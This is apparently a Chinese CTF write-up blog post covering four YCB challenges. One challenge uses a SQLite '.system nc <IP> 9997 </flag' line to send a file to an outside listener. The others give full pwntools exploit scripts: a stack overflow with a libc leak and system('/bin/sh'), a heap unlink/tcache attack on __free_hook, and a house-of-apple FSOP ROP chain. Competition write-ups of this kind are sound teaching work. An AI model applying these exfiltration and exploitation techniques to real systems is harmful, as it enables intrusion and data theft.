# YCBSQL

远程是上传一个 sql 文件,题目提示用 nc 带出 flag。

优先考虑 sqlite 自带的.system 函数(抱着试一试的想法),然后找 web 手要了个 vps 监听,莫名其妙就出了。

sql 文件内容:

1
.system nc 1.117.171.248 9997 </flag

# fakeNoOutput

是个 httpd。最后三分钟做出来了。

协议格式逆了半天,有个栈溢出在 upload 里,触发溢出的条件:

  • HTTP_SERVER1_token 是系统随机生成的,得写对。token 记得用 \x00 截断

  • 开头得有个 POST 。

  • 中间得有空格。

  • 得有一个 /upload。

  • 后面输入字节数由报文格式里的 content-length 确定,否则会一直陷入死循环。

然后就是用程序自带的函数泄露 got 表里的 libc 地址:

~2@G2T@3%E_9CCR_3(VAHC5

控制参数 a1 即可,然后就是重回 start 后调用 system。

这里还有几点需要注意:

  • 重回之后得重新输入 HTTP_SERVER1_token

  • one_gadget 都失效,用 system 提权,由于 payload 中不能出现 \x00(差点把我坑了),所以我们用;隔断,写入 /bin/sh; 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch='i386'
r = process('/mnt/hgfs/ubuntu/ycb/fakeNoOutput/fakeNoOutput')
r = remote('tcp.dasc.buuoj.cn',26595)
elf = ELF('/mnt/hgfs/ubuntu/ycb/fakeNoOutput/fakeNoOutput')
libc = ELF('/mnt/hgfs/ubuntu/ycb/fakeNoOutput/libc.so.6')



payload = b'POST /upload .jsp HTTP/1.1\r\nHTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\x00Accept: */*\r\nAccept-Language: zh-cn\r\nContent-Type: multipart/form-data; boundary=---------------------------7da29f2d890386\r\nHost: abc.com\r\nContent-Length: 5376\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n'


r.sendline(payload)
payload2 = b"Content: filename=aaaa"
r.sendline(payload2)

fwrite = 0x8049724
leave_ret = 0x08049365
fprintf = 0x8049740
pop_ebx = 0x08049022
ok = 0x80496A1


payload3 = b''
payload3 = payload3.ljust(0x1044,b'a')+p32(ok)+p32(0x80492E0)+p32(elf.got["strstr"])
payload3 = payload3.ljust(0x14e8,b'a')

r.sendline(payload3)
libc_base = u32(r.recvuntil(b'\xf7')[-4:])-libc.sym["strstr"]
# r.sendline(b'a'*47+b'\0')
# gdb.attach(r)
payload = b'POST /upload .jsp HTTP/1.1\r\nHTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\x00Accept: */*\r\nAccept-Language: zh-cn\r\nContent-Type: multipart/form-data; boundary=---------------------------7da29f2d890386\r\nHost: abc.com\r\nContent-Length: 5376\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n'
r.sendline(payload)
payload2 = b"Content: filename=aaaa"
r.sendline(payload2)

system_addr = libc_base+libc.sym["system"]

payload3 = b'/bin/sh;'
payload3 = payload3.ljust(0x1044,b'a')+p32(system_addr)+p32(0xdeadbeef)+p32(0x804D1A0)
payload3 = payload3.ljust(0x14e8,b'a')
r.sendline(payload3)

log.success("libc_base: "+hex(libc_base))
r.interactive()

一个链表堆题

我利用的洞是 unlink 的时候 next 指针没有清空,

能够造成例如 a->b->c->d unlink 之后成为

a->c->d

b->c->d

不过此时 b->c->d 的 nodenum 为 1,因此不好操作,唯一好利用的点就是通过 delete 0xff 来清空一整条链表,此时没有检查 nodenum。

我申请了大小为 0x10 大小的内容堆块,以和结构体堆块大小一样。

然后 free 掉两时候,0x20 大小的 tcache free list 就有四个堆块。

此时适当构造堆风水,可以 show 出 heap 地址,同时后续可以申请一个内容堆块到 UAF 的结构体堆块,提前在其他地方伪造好 fake_chunk_size (在 UAF 结构体堆块伪造的话,后续 free 掉,因为程序的操作,unsortedbin 的 fd 指针会清零,dump 不了 libc 基址),然后改掉 UAF 结构体堆块的 ptr,通过 delete 0xff 来 free 掉 fake chunk。然后 show 然后 overlapping 打 tcache 就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/ycb/linklist/pwn')
r = remote('tcp.dasc.buuoj.cn',21077)
libc = ELF('/mnt/hgfs/ubuntu/ycb/linklist/libc.so.6')


def menu(choice):
r.recvuntil("Your choice:")
r.sendline(str(choice))

def add(size,content):
menu(1)
r.recvuntil(b"Size:")
r.sendline(str(size))
r.recvuntil("Content:")
r.send(content)

def delete(idx,offset):
menu(2)
r.recvuntil(b"Index")
r.sendline(str(idx))
r.recvuntil(b"Input offset:")
r.sendline(str(offset))

def link(idx1,idx2):
menu(3)
r.recvuntil(b"link from:")
r.sendline(str(idx1))
r.recvuntil(b"link to:")
r.sendline(str(idx2))

def unlink(idx,offset):
menu(4)
r.recvuntil(b"Index:")
r.sendline(str(idx))
r.recvuntil(b"Input offset:")
r.sendline(str(offset))


#heaplist 0x4060
#nodenum 0x40e0

# add(0x60,b'a'*0x60)#0
# add(0x60,b'b'*0x60)#1
# add(0x60,b'c'*0x60)#2
# add(0x60,b'd'*0x60)#3
# add(0x60,b'e'*0x60)#4
# add(0x60,b'f'*0x60)#5
# link(0,1)
# link(0,2)

# unlink(0,1)#1

# delete(0,1)

# add(0x60,b'a')#2
# delete(1,0xff)

add(0x10,b'a'*0x10)#0
add(0x10,b'b'*0x10)#1
add(0x10,b'c'*0x10)#2
link(0,1)
link(0,2)
unlink(0,1)
delete(1,0xff)
add(0x60,b'e'*0x60)#1
add(0x60,b'd'*0x60)#2
add(0x60,b'd'*0x60)#3
add(0x60,b'd'*0x60)#4
link(2,1)
delete(3,0)
delete(2,1)

menu(4)
r.recvuntil(b"Index:")
r.sendline(str(0))
r.recvuntil(b"Offset 1:")
heap_base = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-0x440
r.recvuntil(b"Input offset:")
r.sendline(str(1))
add(0x60,p64(0)+p64(0x4a1)+b'd'*0x50)#3
add(0x18,p64(0)+p64(0)+p64(heap_base+0x370))#5
add(0x60,b'd'*0x60)#6
add(0x60,b'd'*0x60)#7
add(0x60,b'd'*0x60)#8
add(0x60,b'd'*0x60)#9
add(0x60,b'd'*0x60)#10
add(0x60,b'd'*0x60)#11

delete(0,0xff)
add(0x50,b'a')
link(1,2)
#leak libc
menu(4)
r.recvuntil(b"Index:")
r.sendline(str(1))
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x1ebbe0
r.recvuntil(b"Input offset:")
r.sendline(str(1))
delete(3,0)
delete(4,0)
free_hook = libc_base+libc.sym["__free_hook"]
one_gadget = libc_base+0xe6c81
add(0x70,b'a')
add(0x70,p64(free_hook)*14)
add(0x60,b'a')
add(0x60,p64(one_gadget))

# gdb.attach(r)
delete(1,0)
# unlink(2,3)


log.success("libc_base: "+hex(libc_base))
log.success("heap_base: "+hex(heap_base))
r.interactive()

# Dream

最垃圾的板子题,解得人最少。

Glibc 2.32,白给的 UAF,除了 show 给了一个魔改 tea 加密,甚至还提供了 perror 这种调用 stderr 的函数

用 house of emma 本地通了三小时,远程咋都不通,不然早一血了。

尝试过换 libc 版本,爆破 tls,很奇怪就是不通。

然后换 house of apple 打通了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
from decimal import setcontext
from pickle import TRUE
from pwn import *
import ctypes
from ctypes import c_int, c_uint32
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch='amd64'
r = process('/mnt/hgfs/ubuntu/ycb/dream/dream')
r = remote('tcp.dasc.buuoj.cn',28072)
libc = ELF('/mnt/hgfs/ubuntu/ycb/dream/libc-2.32.so')

global DELTA

DELTA = 0x9e3779b9
DELTA2 = 0x61C88647

def btea(v, n, key):
# assert len(key) == 4
# assert len(v) == 2

key = [c_uint32(i) for i in key]
v = [c_uint32(i) for i in v]

if n > 1:
rounds = 6 + 52//n
sum = c_uint32(0)
z = v[n-1]

while True:
sum.value -= DELTA2
e = (sum.value >> 2) & 3

for p in range(n-1):
y = v[p+1]
MX = ((((z.value>>7)^(y.value<<3)) + ((y.value>>3)^(z.value<<4))) & 0xFFFFFFFF ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)) & 0xFFFFFFFF)
# print("MX:0x%x" % MX)
v[p].value += MX
z = v[p]
p = n-1

y = v[0]
# print(p,e,sum.value)
# print(z.value,y.value,key[(p&3)^e].value,sum.value)
MX = ((((z.value>>7)^(y.value<<3)) + ((y.value>>3)^(z.value<<4))) & 0xFFFFFFFF ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)) & 0xFFFFFFFF)
# print("MX Final:0x%x" % MX)
v[n-1].value += MX
z = v[n-1]

# print("rounds:%d" % rounds)
# print("rounds:0x%x | sum:0x%x | e:0x%x | y:0x%x | z:0x%x" % (rounds, sum.value, e, y.value, z.value))
rounds -= 1
if rounds == 0:
break
elif n < -1:
n = -n
rounds = 6 + 52//n
sum = c_uint32(rounds*DELTA)
y = v[0]
while True:
e = (sum.value >> 2) & 3
for p in range(n-1, 0, -1):
z = v[p-1]
v[p].value -= (((z.value>>7^y.value<<3) + (y.value>>3^z.value<<4)) ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)))
y = v[p]
p = 0

z = v[n-1]
v[0].value -= (((z.value>>7^y.value<<3) + (y.value>>3^z.value<<4)) ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)))
y = v[0]

sum.value -= DELTA

rounds -= 1
if rounds == 0:
break

ret = [i.value for i in v]
return ret

# r = btea([1,2, 3,4], 4, [2,2,3,4])


def menu(choice):
r.recvuntil(b"choice: ")
r.sendline(str(choice))

def add(idx,size,content):
menu(1)
r.recvuntil(b"Give me a dream ID: ")
r.sendline(str(idx))
r.recvuntil(b"how long: ")
r.sendline(str(size))
r.recvuntil(b"dream: ")
r.send(content)

def delete(idx):
menu(2)
r.recvuntil(b"Which dream to wake?")
r.sendline(str(idx))

def show(idx):
menu(4)
r.recvuntil(b"Which dream do you want to show?")
r.sendline(str(idx))

def edit(idx,content):
menu(3)
r.recvuntil(b"Which dream to make?")
r.sendline(str(idx))
r.recvuntil(b"dream: ")
r.send(content)

def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


add(0,0x420,b'a')#0
add(10,0x440,b'a')
add(11,0x480,b'a')
add(1,0x400,b'a')#1
add(2,0x470,b'a')#2
add(5,0x400,b'a')
add(3,0x430,b'a')#3
add(6,0x400,b'a')
add(4,0x440,b'a')#4
add(7,0x400,b'a')

delete(0)
delete(4)




add(8,0x450,b'a')

show(0)
data = r.recv(0x420)

ls = [u32(data[4*i:4*(i+1)]) for i in range(0x420//4)]

data2 = btea(ls, -len(ls), [9,5,2,7])


# # print(len(data2))
# print(hex(data2[0]),hex(data2[1]))
libc_base = ((data2[1]<<32)+data2[0])-0x1e3ff0
heap_base = ((data2[5]<<32)+data2[4])-0x290
delete(3)
stderr = libc_base+0x1e47a0
edit(4,p64(libc_base+0x1e4000)*2+p64(heap_base+0x1b50)+p64(stderr-0x20))
add(9,0x450,b'a')
leave_ret = libc_base + 0x000000000005591c
fake_IO_addr = heap_base + 0x290
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70

# orw = b'./flag\x00\x00'
# orw += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
# orw += p64(pop_rdi_ret) + p64(rop_address)
# orw += p64(pop_rsi_ret) + p64(0)
# orw += p64(libc.sym['open'])
# orw += p64(pop_rdi_ret) + p64(3)
# orw += p64(pop_rsi_ret) + p64(rop_address + 0x100)
# orw += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
# orw += p64(libc.sym['read'])
# orw += p64(pop_rdi_ret) + p64(1)
# orw += p64(pop_rsi_ret) + p64(rop_address + 0x100)
# orw += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
# orw += p64(libc.sym['write'])
gadget_addr = libc_base+0x14b520+576
setcontext_addr = libc_base+libc.sym["setcontext"]+61
# payload = p64(0) + p64(leave_ret) + p64(0) + p64(stderr - 0x20)
# payload = payload.ljust(0x38, b'\x00') + p64(rop_address)
# payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0)
# payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps'])
# payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
# payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(gadget_addr)


fake_io_addr=heap_base+0x1c40 # 浼€犵殑fake_IO缁撴瀯浣撶殑鍦板潃
next_chain = 0
fake_IO_FILE=p64(0) #_flags=rdi
fake_IO_FILE+=p64(0)*5
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0x200-0x90)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

pop_rax_addr = libc_base+0x0000000000045580
syscall_addr = libc_base+0x00000000000611ea
pop_rdi_addr = libc_base+0x000000000002858f
pop_rsi_addr = libc_base+0x000000000002ac3f
pop_rdx_r12_addr = libc_base+0x0000000000114161
# leave_ret =



fake_IO_FILE = fake_IO_FILE.ljust(0x200,b'\0')
fake_IO_FILE+=p64(fake_io_addr+0x260)+p64(pop_rdi_addr+1)
fake_IO_FILE = fake_IO_FILE.ljust(0x250,b'\0')







rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
pop_rdi_addr,
heap_base+0x2050,
syscall_addr,

pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
heap_base + 0x200,
pop_rdx_r12_addr,
0x200,
0,
syscall_addr,

pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
heap_base + 0x200,
pop_rdx_r12_addr,
0x200,
0,
syscall_addr
]

fake_IO_FILE+=flat(rop_data)
fake_IO_FILE = fake_IO_FILE.ljust(0x400,b'\0')
fake_IO_FILE+=b'./flag\x00'


# fake_IO_FILE = p64(0)*4
# fake_IO_FILE +=p64(0)
# fake_IO_FILE +=p64(0)
# fake_IO_FILE +=p64(1)+p64(0)
# fake_IO_FILE +=p64(heap_base+0xc18-0x68)#rdx
# fake_IO_FILE +=p64(setcontext_addr)#call addr
# fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
# fake_IO_FILE += p64(0) # _chain
# fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
# fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
# fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
# fake_IO_FILE +=p64(heap_base+0xb30) #rax1
# fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
# fake_IO_FILE += p64(0) # _mode = 0
# fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
# fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) # vtable=IO_wfile_jumps+0x10
# fake_IO_FILE +=p64(0)*6
# fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2

edit(3,fake_IO_FILE)




log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r,'b *'+str(hex(setcontext_addr)))
menu(5)
r.interactive()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝